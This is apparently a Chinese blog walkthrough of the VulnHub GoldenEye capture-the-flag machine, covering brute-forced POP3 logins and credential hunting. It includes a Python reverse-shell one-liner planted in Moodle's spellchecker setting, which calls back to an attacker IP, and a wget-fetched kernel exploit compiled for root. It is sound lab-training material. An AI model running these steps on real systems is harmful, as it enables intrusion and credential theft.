OSCP_vulnhub—GOLDENEYE: 1

news2024/7/6 19:51:25

vulnhub—GOLDENEYE: 1

  • About
  • 信息搜集
  • 查看js泄露
  • POP3 密码破解及登录
  • 使用admin/xWinter1995x!登录 getshell
  • 提权

About

GoldenEye: 1 ~ VulnHub

Download (Mirror): https://download.vulnhub.com/goldeneye/GoldenEye-v1.ova

DHCP service: Enabled
IP address: Automatically assign
Description
I recently got done creating an OSCP type vulnerable machine that’s themed after the great James Bond film (and even better n64 game) GoldenEye. The goal is to get root and capture the secret GoldenEye codes - flag.txt.

I’d rate it as Intermediate, it has a good variety of techniques needed to get root - no exploit development/buffer overflows. After completing the OSCP I think this would be a great one to practice on, plus there’s a hint of CTF flavor.

I’ve created and validated on VMware and VirtualBox. You won’t need any extra tools other than what’s on Kali by default. Will need to be setup as Host-Only, and on VMware you may need to click “retry” if prompted, upon initially starting it up because of formatting.

信息搜集

获取IP以及端口扫描
arp-scan -l
在这里插入图片描述

扫描端口

nmap -A -T4 -p 1-65535 192.168.132.142
在这里插入图片描述

这里可以看到4个端口25和80,55006,55007。

登录靶机网站
http://192.168.132.142/
登录一下http,这里提示转到/sev-home/去登陆。
在这里插入图片描述

转到sev-home就是一个登录接口,需要用户名和密码,然而我们什么都没有…
在这里插入图片描述

查看js泄露

view-source:http://192.168.132.142/
再回到主页,查看源代码,可以看到一个js脚本。

http://192.168.132.142/terminal.js
打开这个脚本可以看到:备注部分有留给Boris的信息:
“Boris, 一定要更新你的默认密码。我的线人说军情六处可能计划渗透进去。留意任何可以的网络流量。我把你的密码编码了。顺便说一下,Natalya说她能破解你的代码。”

//I encoded you p@ssword below...
//
//InvincibleHack3r
//
//BTW Natalya says she can break your codes

在这里插入图片描述

用HTML解码器解码得到密码:InvincibleHack3r。
在这里插入图片描述
到用户密码boris/InvincibleHack3r
现在去登录sev-home页面。这里提示GNO组织通过POP3协议进行邮件往来,协议用了一个非常高的端口。
在这里插入图片描述

我们查看一下网页的源码,然后这里一直往下翻,可以看到两个用户名。(这个不仔细看还真想不到要往下翻…)
在这里插入图片描述

Qualified GoldenEye Network Operator Supervisors: 
Natalya
Boris

访问55007确定是pop3

在这里插入图片描述

POP3 密码破解及登录

接下来的思路应该是我们有了pop3的用户名,我们需要破解的密码。我们使用hydra这个工具进行暴力破解。把用户名
Natalya
boris
写道100.txt文件中,使用kali自带的字典。
hydra -L ./100.txt -P /usr/share/wordlists/fasttrack.txt -s 55007 192.168.132.142 pop3

在这里插入图片描述

natalya/bird
boris/secret1!

这里我们破解出了两个用户对应的密码。

  1. 我们用nc命令登录pop3邮箱。
# nc 192.168.132.142 55007
+OK GoldenEye POP3 Electronic-Mail System
USER natalya
+OK
PASS bird
+OK Logged in.
list
+OK 2 messages:
1 631
2 1048
.
retr 1
+OK 631 octets
Return-Path: <root@ubuntu>
X-Original-To: natalya
Delivered-To: natalya@ubuntu
Received: from ok (localhost [127.0.0.1])
        by ubuntu (Postfix) with ESMTP id D5EDA454B1
        for <natalya>; Tue, 10 Apr 1995 19:45:33 -0700 (PDT)
Message-Id: <20180425024542.D5EDA454B1@ubuntu>
Date: Tue, 10 Apr 1995 19:45:33 -0700 (PDT)
From: root@ubuntu

Natalya, please you need to stop breaking boris' codes. Also, you are GNO supervisor for training. I will email you once a student is designated to you.

Also, be cautious of possible network breaches. We have intel that GoldenEye is being sought after by a crime syndicate named Janus.
.

在这里插入图片描述

retr 2
+OK 1048 octets
Return-Path: <root@ubuntu>
X-Original-To: natalya
Delivered-To: natalya@ubuntu
Received: from root (localhost [127.0.0.1])
        by ubuntu (Postfix) with SMTP id 17C96454B1
        for <natalya>; Tue, 29 Apr 1995 20:19:42 -0700 (PDT)
Message-Id: <20180425031956.17C96454B1@ubuntu>
Date: Tue, 29 Apr 1995 20:19:42 -0700 (PDT)
From: root@ubuntu

Ok Natalyn I have a new student for you. As this is a new system please let me or boris know if you see any config issues, especially is it's related to security...even if it's not, just enter it in under the guise of "security"...it'll get the change order escalated without much hassle :)

Ok, user creds are:

username: xenia
password: RCP90rulez!

Boris verified her as a valid contractor so just create the account ok?

And if you didn't have the URL on outr internal Domain: severnaya-station.com/gnocertdir
**Make sure to edit your host file since you usually work remote off-network....

Since you're a Linux user just point this servers IP to severnaya-station.com in /etc/hosts.

Boris确认她是一个有效的承包商,所以只需创建帐户,好吗?如果您在outr内部域上没有URL:severnaya-station.com/gnocertdir **请确保编辑您的主机文件,因为您通常在远程网络之外工作。。。。 由于您是Linux用户,只需将此服务器IP指向/etc/hosts中的severnaya-station.com即可。

在第二封邮件看到了另外一个用户名密码,此服务器域名和网站,要求我们在本地服务hosts中添加域名信息: 用户名:xenia 密码:RCP90rulez! 域:severnaya-station.com 网址:severnaya-station.com/gnocertdir 我们现根据邮件提示添加本地域名:severnaya-station.com

在这里插入图片描述

依次看一下Boris和Natalya收到的邮件,看完之后,我们可以看到Natalya这里有一封特殊的邮件。

  1. 这里Natalya的邮件中我们可以看到,这里给了一个网址severnaya-station.com/gnocertdir。把这个网址添加到/etc/hosts里面,然后访问。
vim /etc/hosts

添加
 192.168.132.142 severnaya-station.com
esc
:wq!
  1. 输入账号和密码。然后点点点,收集信息。能看到一个和doak来往的邮件。
    在这里插入图片描述
    http://severnaya-station.com/gnocertdir/login/index.php
    登陆页面

使用刚刚在邮件获得的用户密码进行登陆。 用户名:xenia 密码:RCP90rulez!
在这里插入图片描述
messages
在这里插入图片描述

内容发现用户名doak,继续使用hydra攻击,用户名:doak 密码:goat hydra已成功破解了用户doak的密码,使用账号密码继续登陆pop3邮件。
在这里插入图片描述

  1. 然后nc命令登录,这里有一封信,提供了Dr Doak在这个培训网站的用户名和密码。这个网站就指的是severnaya-station.com/gnocertdir,因为Boris和Doak的邮件中有说这个网站会有很多训练课程。
└─# nc 192.168.132.142 55007
+OK GoldenEye POP3 Electronic-Mail System
user doak
+OK
pass goat
+OK Logged in.
list
+OK 1 messages:
1 606
.
retr 1
+OK 606 octets
Return-Path: <doak@ubuntu>
X-Original-To: doak
Delivered-To: doak@ubuntu
Received: from doak (localhost [127.0.0.1])
        by ubuntu (Postfix) with SMTP id 97DC24549D
        for <doak>; Tue, 30 Apr 1995 20:47:24 -0700 (PDT)
Message-Id: <20180425034731.97DC24549D@ubuntu>
Date: Tue, 30 Apr 1995 20:47:24 -0700 (PDT)
From: doak@ubuntu

James,
If you're reading this, congrats you've gotten this far. You know how tradecraft works right?

Because I don't. Go to our training site and login to my account....dig until you can exfiltrate further information......

username: dr_doak
password: 4England!

在这里插入图片描述

  1. 我们用dr_doak的账号和密码登录。

username: dr_doak
password: 4England!在这里插入图片描述

就,在网站上点点点。在“my private files”目录下能够看到Dr Doak给007的信息。里面写了去这个新的网址有个jpg图片,里面有些信息。
在这里插入图片描述
在这里插入图片描述

  1. 登录这个网址,图片我们就获得了。
    http://severnaya-station.com/dir007key/for-007.jpg
    在这里插入图片描述
    将图片另存为 描述处base64编码
    在这里插入图片描述

base64编码的特点:

字符串只可能包含A-Z,a-z,0-9,+,/,=字符
字符串长度是4的倍数
= 只会出现在字符串最后,可能没有或者一个等号或者两个等号

解码,得到这个网站的admin密码。

在这里插入图片描述

eFdpbnRlcjE5OTV4IQ== base64解码得到 xWinter1995x!
admin是在message中发现

使用admin/xWinter1995x!登录 getshell

在这里插入图片描述

获取shell
用admin和密码登录。这是一个用Moodle搭建的一个课程网站。我们去找一下moodle的漏洞。首先在server——Evironment下查看Moodle的版本,是2.23。

首先去修改拼写检查工具为PSpellShell。在Settings—plugings—Text Editors—TinyMCE HTML editor,这里设置拼写检查工具为PSpellShell。

然后找到拼写检查工具路径设置,插入我们的反弹shell代码。

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((“192.168.132.139”,8856));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,“-i”]);’

在这里插入图片描述
save changes

Page path

Home / ► Site administration / ► Plugins / ► Text editors / ► TinyMCE HTML editor

在这里插入图片描述

新建一个Blog,点击拼写检查。同时在本地监听4444端口。
在这里插入图片描述

点击Toggle spellchecker
在这里插入图片描述
基本上就可以监听到
多尝试几次肯定哪里有点问题,没改好

一个Shell我们就获得了。

在这里插入图片描述

提权

在这里插入图片描述
查看kernel版本,查找可利用的漏洞。

在这里插入图片描述
在这里插入图片描述

cp /usr/share/exploitdb/exploits/linux/local/37292.c ~/桌面复制到桌面。

看看靶机有没有gcc命令,查看了一下好像没有。查看gcc版本gcc–version

image-20211030214116093

靶机未安装gcc编译,只能用cc编译,需要修改37292.c编译

vim ~/桌面/37292.c 将gcc改成cc
在这里插入图片描述

<certdir/lib/editor/tinymce/tiny_mce/3.4.9/plugins$ cd /tmp
cd /tmp
www-data@ubuntu:/tmp$ wget 192.168.132.139:9696/37292.c
wget 192.168.132.139:9696/37292.c
--2023-01-17 01:01:16--  http://192.168.132.139:9696/37292.c
Connecting to 192.168.132.139:9696... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4968 (4.9K) [text/plain]
Saving to: '37292.c'

100%[======================================>] 4,968       --.-K/s   in 0s      

2023-01-17 01:01:16 (811 MB/s) - '37292.c' saved [4968/4968]

www-data@ubuntu:/tmp$ ls
ls
37292.c  tinyspellZAG2DN  vmware-root
www-data@ubuntu:/tmp$ cc -o exp 37292.c
cc -o exp 37292.c
37292.c:94:1: warning: control may reach end of non-void function [-Wreturn-type]
}
^
37292.c:106:12: warning: implicit declaration of function 'unshare' is invalid in C99 [-Wimplicit-function-declaration]
        if(unshare(CLONE_NEWUSER) != 0)
           ^
37292.c:111:17: warning: implicit declaration of function 'clone' is invalid in C99 [-Wimplicit-function-declaration]
                clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
                ^
37292.c:117:13: warning: implicit declaration of function 'waitpid' is invalid in C99 [-Wimplicit-function-declaration]
            waitpid(pid, &status, 0);
            ^
37292.c:127:5: warning: implicit declaration of function 'wait' is invalid in C99 [-Wimplicit-function-declaration]
    wait(NULL);
    ^
5 warnings generated.
www-data@ubuntu:/tmp$ ls
ls
37292.c  exp  tinyspellZAG2DN  vmware-root
www-data@ubuntu:/tmp$ chmod +x exp
chmod +x exp
www-data@ubuntu:/tmp$ ./exp
./exp
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
# ifconfig

在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/168844.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Kubernetes 入门实战课】Day01——虚拟机创建及安装

文章目录前言一、实验环境选择二、选择合适的虚拟机软件1.VirtualBox2.VMWare三、Linux版本四、如何配置虚拟机1、安装VMware2、虚拟网络设置1、虚拟机网络编辑器2、设置 VMnet 8 网段3、创建虚拟机1、创建虚拟机2、启动虚拟机3、虚拟机配置4、虚拟机管理前言 俗话说&#xff…

[oeasy]python0052_ raw格式字符串_单引号_双引号_反引号_ 退格键

转义字符 回忆上次内容 最近玩的是\n、\r 之外的转义序列 \a是 ␇ (bell)\t是 水平制表符\v是 换行不回车 通过 16 进制数值转义 \xhh把(hh)16 进制对应的 ascii 字符输出 通过 8 进制数值转义 \ooo把(nnn)8 进制对应的 ascii 字符输出 这次加了 转义输出 反斜杠本身 \\ 输出…

24.Isaac教程--路径规划的区域划分

路径规划的区域划分 ISAAC教程合集地址: https://blog.csdn.net/kunhe0512/category_12163211.html 为了赋予地图区域关于通过它们规划的路径的语义意义&#xff0c;引入了三个新的规划器影响区域&#xff1a; No-replanning zones&#xff1a;当机器人通过这个多边形区域时&a…

python textwrap 模块,这里有你需要的学习资料

Python 标准库中的 textwrap 模块可以把长文本按照指定的宽度进行换行。这个模块提供了一些高级的文本处理功能&#xff0c;例如按照指定的宽度进行自动换行&#xff0c;保留段首缩进等。 python textwrap 模块python textwrap 模块主要函数textwrap.wrap(text, width70, \*\*k…

ruoyi-vue版本(四)@PreAuthorize 注解在若依里面的作用,springsecurity 框架相关的配置

目录1 需求2 实现2.1 背景2.2 实现2.3 springsecurity 框架相关的配置2.3.1 EnableGlobalMethodSecurity详解2.3.2 认证失败处理类AuthenticationEntryPointImpl2.3.3 自定义退出处理类LogoutSuccessHandlerImpl2.3.4 filter 为啥会多次执行3 PreAuthorize 注解1 需求 我们打开…

Flink面试题汇总

1&#xff0c;简单介绍一下 Flink Flink 是一个框架和分布式处理引擎&#xff0c;用于对无界和有界数据流进行有状态计算。并且 Flink 提供了数据分布、容错机制以及资源管理等核心功能。Flink提供了诸多高抽象层的API以便用户编写分布式任务&#xff1a; DataSet API&#xf…

nacos多网卡服务器引发的问题

1、背景 某一日晚上&#xff0c;公司的一个微服务上线重启后&#xff0c;双节点&#xff0c;只有一个节点注册到了nacos服务器&#xff0c;另外一个节点一直在nacos界面上无法看到&#xff0c;两个节点的服务启动也没有报错&#xff0c;api网关转发给服务时&#xff0c;时不时有…

深度学习入门基础——卷积计算

卷积计算 卷积是数学分析中的一种积分变换的方法&#xff0c;在图像处理中采用的是卷积的离散形式。这里需要说明的是&#xff0c;在卷积神经网络中&#xff0c;卷积层的实现方式实际上是数学中定义的互相关 &#xff08;cross-correlation&#xff09;运算&#xff0c;与数学…

【进阶】数据在内存中的存储

目录 一、数据类型介绍 1、基本的内置类型 2、类型的基本归类 二、整型在内存中的存储 1、原码、反码、补码 2、大小端介绍 3、大端小端的经典例题 三、浮点数在内存中的存储 1、浮点数存储规则 2、浮点数存储例题 一、数据类型介绍 1、基本的内置类型 char /…

非标设备制造业项目管理软件如何帮助企业做好项目报价管理?

非标设备制造企业&#xff0c;由于需求的不确定性、方案的多样性、交期的紧迫性、以及批量小&#xff08;很多需要先做单台样机&#xff09;等特性&#xff0c;导致非标设备要在有限时间内做到准确报价存在一定的困难&#xff0c;这也是众多非标设备制造企业亟待解决的问题。报…

MySQL Shell 逻辑备份恢复API

MySQL8.0开始提供的MySQL Shell功能&#xff0c;是DBA推向了另一个高度&#xff0c;除SQL外&#xff0c;正式踏入Cloud数据库服务 和 shell操作数据库领域&#xff08;MGR是一个代表点&#xff09;。 日常DBA工作可以通过MySQL Shell更容易实现。因为MySQL Shell处理用JavaScr…

3、Ubuntu20Server安装远程连接

Ubuntu20Server安装 安装虚拟机virtualbox VMware Workstation Pro 下载Ubuntu安装光驱Get Ubuntu | Download | Ubuntu 都下载完毕准备安装驱动 配置信息 这里用的是Ubuntu Server 一路Done或回车过三关斩六将来到这里 安装到这里,需要修改镜像站点地址,修改为国内的163网易…

Linux文件系统及磁盘命名

✅作者简介&#xff1a;热爱国学的Java后端开发者&#xff0c;修心和技术同步精进。 &#x1f34e;个人主页&#xff1a;Java Fans的博客 &#x1f34a;个人信条&#xff1a;不迁怒&#xff0c;不贰过。小知识&#xff0c;大智慧。 &#x1f49e;当前专栏&#xff1a;Java案例分…

Golang 调整视频fps和分辨率 | Golang工具

目录 前言 环境依赖 代码 总结 前言 本文提供将视频修改fps和分辨率的工具方法&#xff0c;一如既往的实用主义。 主要也是学习一下golang使用ffmpeg工具的方式。 环境依赖 ffmpeg环境安装&#xff0c;可以参考我的另一篇文章&#xff1a;windows ffmpeg安装部署_阿良的博…

Vector - VT System - 模拟IO板卡_VT2816

前面介绍了模拟量的输入板卡VT2004&#xff0c;今天我们介绍的这个板卡依然是模拟量的输入&#xff0c;具体使用场景可能要我们根据实际的使用场景去进行选择。VT2004更偏向于激励&#xff0c;而VT2816更偏向于通用模拟量的IO使用&#xff0c;下面我们从功能、参数、硬件结构等…

SpringBoot接入JaCoCo实践代码覆盖率

这里写自定义目录标题参考概述接入静态接入和动态接入参考 SpringBoot接入JaCoCo实践 概述 JaCoCo是面向Java的开源代码覆盖率工具&#xff0c;JaCoCo以Java代理模式运行&#xff0c;它负责在运行测试时检测字节码。 JaCoCo会深入研究每个指令&#xff0c;并显示每个测试过程…

【uniapp】关于webview组件无法自定义宽高问题解决

最近做的项目中&#xff0c;在h5环境运行上遇到关于webview组件无法自定义宽高问题&#xff0c;要怎么弄才好呢&#xff0c;其实没那么难&#xff0c;很简单的&#xff0c;现在将解决方法讲一下。 使用例子 默认是全屏加载的&#xff0c;现在需要内嵌一个webview组件放在限定…

10款最佳在线地图软件介绍

有人说&#xff1a;一个人从1岁活到80岁很平凡&#xff0c;但如果从80岁倒着活&#xff0c;那么一半以上的人都可能不凡。 生活没有捷径&#xff0c;我们踩过的坑都成为了生活的经验&#xff0c;这些经验越早知道&#xff0c;你要走的弯路就会越少。 在线地图有无数的用途&…

3D模型轻量化处理教程【Blender】

在本文中&#xff0c;我们将介绍三种在 Blender 中网格轻量化的方法&#xff0c;并以一些提示和技巧作为结尾&#xff0c;供你在处理网格和对象时使用。 1、网格轻量化概述 无论你是想创建简单还是复杂的 3D 设计&#xff0c;Blender 都是拟工具箱中的一个很棒的程序。 它是…

Nessus 高级扫描

系列文章 Nessus介绍与安装 Nessus Host Discovery Nessus高级扫描 1.启动nessus cd nessus sh qd_nessus.sh2.进入nessus网站&#xff0c;点击【new Scan】 https://kaliip:8834/3.选择【adVanced Scan】 4.输入Name【高级扫描】&#xff0c;Description【高级扫描】&…